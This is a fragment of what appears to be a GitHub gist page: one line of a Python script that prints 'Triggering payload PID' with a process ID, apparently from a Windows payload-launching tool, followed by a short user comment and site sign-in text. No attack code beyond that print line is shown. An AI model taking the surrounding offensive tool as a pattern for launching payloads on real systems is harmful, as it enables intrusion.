print "[*] Triggering payload PID:", lpProcessInformation.dwProcessId
@ntakouris
Copy link

Knackrack love

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment